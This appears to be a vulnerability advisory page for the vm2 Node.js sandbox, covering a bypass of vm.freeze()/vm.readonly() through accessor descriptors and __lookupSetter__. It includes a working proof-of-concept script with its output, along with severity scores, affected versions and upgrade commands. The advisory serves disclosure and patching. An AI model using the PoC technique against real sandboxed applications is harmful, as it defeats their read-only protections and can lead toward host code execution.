GHSA-633r-hq9m-c4ff CVE-2026-92949
vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor
- Severity
- 6.3 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.32%
- Chance of exploitation in the next 30 days. Higher than 24.84% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
3.11.7- Upgrade vm2 to this version or later
Description
Summary
Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.
PoC
// poc.js
'use strict';
const { VM } = require('vm2');
let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
get() { return _level; },
set(v) { _level = String(v); },
enumerable: true, configurable: true,
});
const vm = new VM();
vm.freeze(hostConfig, 'cfg');
// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level); // → "safe"
// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
const d = Object.getOwnPropertyDescriptor(cfg, 'level');
d.set.call(cfg, 'PWNED');
`);
console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED"
// Variant - same sink via __lookupSetter__:
vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);
console.log('after __lookupSetter__:', _level); // → "PWNED-2"
node poc.js
Observed output:
after [[Set]]/defineProperty: safe
after getOwnPropertyDescriptor→set.call: PWNED
after __lookupSetter__: PWNED-2
The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side _level despite vm.freeze().
Impact
A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.
Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise.
Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined.
Persistence: as persistent as the host object (typically process-lifetime).
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vm2 | >= 3.9.6, < 3.11.7 |
3.11.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vm2 npm → 3.11.7
- npm
npm install vm2@3.11.7- yarn
yarn add vm2@3.11.7- pnpm
pnpm add vm2@3.11.7
Severity breakdown
CVSS 4.0 6.3
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- High
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- Low
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 4.0
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Weakness
CWE-471: Modification of Assumed-Immutable Data (MAID)
The product does not properly protect an assumed-immutable element from being modified by an attacker.
How to prevent it
- Architecture and Design, Operation, Implementation: When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.
CWE-693: Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary | High | Also affects vm2 |
| GHSA-2v2p-6j97-cjg9 vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process | Medium | Also affects vm2 |
| GHSA-5h3f-q97h-ccvc vm2: NodeVM custom resolution bypasses external path boundaries | Critical | Also affects vm2 |
| GHSA-pq68-rvw4-xp4r vm2 contains a sandbox escape vulnerability | Critical | Also affects vm2 |
| GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM | High | Also affects vm2 |
| GHSA-6rh5-qq4q-97xh vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes | High | Also affects vm2 |
| GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process | Critical | Also affects vm2 |
| GHSA-wjwh-qqvp-g4p4 vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass | Critical | Also affects vm2 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor